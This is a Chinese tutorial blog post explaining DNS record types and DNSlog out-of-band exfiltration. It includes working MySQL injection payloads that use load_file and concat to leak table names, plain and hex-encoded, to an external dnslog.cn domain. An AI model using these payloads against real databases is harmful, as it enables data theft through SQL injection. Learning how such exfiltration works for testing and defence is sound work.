DNSlog外帶原理及注入分析(最新推薦)
DNS基本概念
DNS中不同域名類型概念
DNS的全稱是Domain Name System(網絡名稱系統(tǒng)),它作為將域名和IP地址相互映射,使人更方便地訪問互聯網。當用戶輸入某一網址如littlehann.com,網絡上的DNS Server會將該域名解析,并找到對應的真實IP如101.37.97.51,使用戶可以訪問這臺服務器上相應的服務。
DNSlog就是存儲在DNS Server上的域名訪問信息,它記錄著用戶對域名littlehann.com等的訪問信息,類似日志文件。
按照解析類型分類,DNS域名有如下幾種:
- A記錄:A (Address) 記錄是用來指定主機名(或域名)對應的IP地址記錄。就是說:通過A記錄,大家可以設置自己的不同域名轉到不同的IP上去。如:
- www.dns.la轉到IP 116.255.202.1
- web.dns.la 轉到IP 116.255.202.11
- mail.dns.la 轉到IP 116.255.202.111
- MX記錄(Mail Exchange):郵件交換記錄,用戶可以將該域名下的郵件服務器指向到自己的Mail Server上,然后即可自行操作控制所有的郵箱設置。
- CNAME(Canonical Name)記錄:通常稱別名解析,可以將注冊的不同域名都轉到一個域名記錄上,由這個域名記錄統(tǒng)一解析管理,與A記錄不同的是,CNAME別名記錄設置的可以是一個域名的描述而不一定是IP地址。
- URL(Uniform Resource Locator)轉發(fā):網址轉發(fā)功能,如果您沒有一臺獨立的服務器(也就是沒有一個獨立的IP地址)或者您還有一個域名B,您想訪問A域名時訪問到B域名的內容,這時您就可以通過URL轉發(fā)來實現。URL轉發(fā)可以轉發(fā)到某一個目錄下,甚至某一個文件上。而CNAME是不可以,這就是URL轉發(fā)和CNAME的主要區(qū)別所在。
- NS(Name Server):NS記錄是域名服務解析記錄,NS用來指定該域名由哪個DNS服務器來進行解析,可以把一個域名的不同二級域名分別指向到不同的DNS系統(tǒng)來解析。
- AAAA記錄:IPV6解析記錄,該記錄是將域名解析到一個指定的IPV6的IP上。
前言
最近一直聽到DNSlog外帶原理等詞但對其原理一直只是自己的理解(回顯DNS請求后的日志)并沒有真正的了解過,所以這里做一下記錄。
DNSlog原理
DNS
DNS(Domain Name System)就是域名系統(tǒng),負責把域名轉換成IP地址;例如向瀏覽器訪問a.com,瀏覽器就會將其解析成真實的IP訪問對應服務器上的服務。
DNSlog
DNSlog就是DNS的日志,DNS在域名解析的時候會留下域名和解析IP的記錄
DNSlog外帶原理
DNS在解析的時候會留下日志,我們將信息放在高級域名中,傳遞到自己這里,然后通過讀日志獲取信息。
所以這里跟最初的猜想基本一致,原理也就是通過DNS請求后,通過讀取日志來獲取我們的請求信息。
DNSlog注入
在搜索DNSlog原理時同時看到了DNSlog注入,所以本地測試一塊都了解一下
前置知識
Load_file
注入主要用到了Load_file
函數,功能是讀取文件并返回文件內容為字符串。(訪問互聯網中的文件時,需要在最前面加上兩個斜杠 //)
使用本函數有幾個前提:
1、首先要有注入點
2、需要有root權限
3、數據庫有讀寫權限即:secure_file_priv=“”
4、得有請求url權限
5、還必須得是windows服務器
D盤中寫了個1.txt
通過load_file函數,讀取一下
select load_file('D:/1.txt')
concat
由于在通過load_file
外帶時是無法執(zhí)行sql語句的,所以要通過concat
函數,將執(zhí)行的sql語句,與DNS請求的url進行拼接
select concat('Sentiment','\\',(select database()));
本地測試
通過DNSlog外帶數據庫信息
select load_file(concat('//',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));
外帶表名
select load_file(concat('//',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));
剩下的就是sql注入常規(guī)操作了,就不一一列舉了
局限性
通過本地測試后,發(fā)現了一些問題,在url中傳遞字符有一定的局限性,很多字符是無法傳遞的,所以在外帶時,可以通過十六進制編碼繞過符號的局限性
select load_file(concat('//',(select hex(group_concat(table_name separator '_')) from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));
十六進制轉字符
到此這篇關于DNSlog外帶原理及注入分析(最新推薦)的文章就介紹到這了,更多相關DNSLOG注入原理內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
windows系統(tǒng)搭建zookeeper服務器的教程
這篇文章主要介紹了windows系統(tǒng)搭建zookeeper服務器的教程,本文圖文并茂給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下2019-10-10雙至強cpu 32g內存服務器 做了陣列1更換一個壞的硬盤后,沒做陣列
更換掉壞硬盤后,系統(tǒng)重新認出primary后,原來的主盤即失效,如果此時再將更換掉的舊盤插入系統(tǒng)就會造成,混亂,導致進不入系統(tǒng),撥掉也無用2013-06-06CyberPanel配置教程,新手安裝?CyberPanel?終極指南
CyberPanel?是第一個LiteSpeed為web服務器的Linux面板,使用LiteSpeed?Cache簡單優(yōu)化之后?Gtmetrix?和?Google?PageSpeed?Insights?的評分幾乎都是A,這個結果讓人十分滿意2023-12-12配置Memcache服務器并實現主從復制功能(repcached)
repcached是日本人開發(fā)的實現memcached復制功能,它是一個單 master單 slave的方案,但它的 master/slave都是可讀寫的,而且可以相互同步,如果 master壞掉, slave偵測到連接斷了,它會自動 listen而成為 master2012-03-03